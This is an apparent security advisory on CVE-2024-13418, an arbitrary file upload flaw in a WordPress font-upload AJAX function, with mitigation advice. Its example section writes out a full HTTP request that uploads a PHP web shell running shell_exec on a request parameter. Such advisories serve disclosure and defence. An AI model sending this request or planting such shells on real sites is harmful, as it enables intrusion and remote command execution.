CVE-2024-13418: Critical Arbitrary File Upload Vulnerability in Multiple WordPress Plugins and Themes

Overview

In today’s discussion, we focus on a critical cybersecurity vulnerability, CVE-2024-13418, that affects multiple plugins and themes for WordPress, a popular content management system (CMS) widely utilized by many websites globally. This vulnerability is particularly severe as it allows an attacker with merely Subscriber-level access to upload arbitrary files, potentially leading to remote code execution. The gravity of this issue lies in the fact that it impacts the integrity and availability of the system, potentially leading to unauthorized system access and data leakage.

Vulnerability Summary

CVE ID: CVE-2024-13418
Severity: Critical (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level Access)
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

WordPress Plugins | Various versions
WordPress Themes | Various versions

How the Exploit Works

The vulnerability lies in the ajaxUploadFonts() function, which does not have a proper capability check. An authenticated attacker with Subscriber-level access can exploit this to upload arbitrary files to the targeted system. These files could contain malicious scripts or codes that, when executed, can lead to full system compromise. This allows the attacker to execute arbitrary commands, modify system settings, exfiltrate sensitive data, or deploy further malware onto the system.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="action"
upload-font
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="font"; filename="malicious.php"
Content-Type: application/php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="fontname"
malicious
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker uses the “upload-font” action to upload a malicious PHP file. Once uploaded, this script can be used to execute arbitrary shell commands on the server.

Countermeasures

The best mitigation strategy is to apply the vendor patch as soon as it becomes available. If it’s not immediately possible, a temporary mitigation can be implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block malicious requests. Regularly updating all WordPress plugins and themes to the latest versions can also help protect against known vulnerabilities.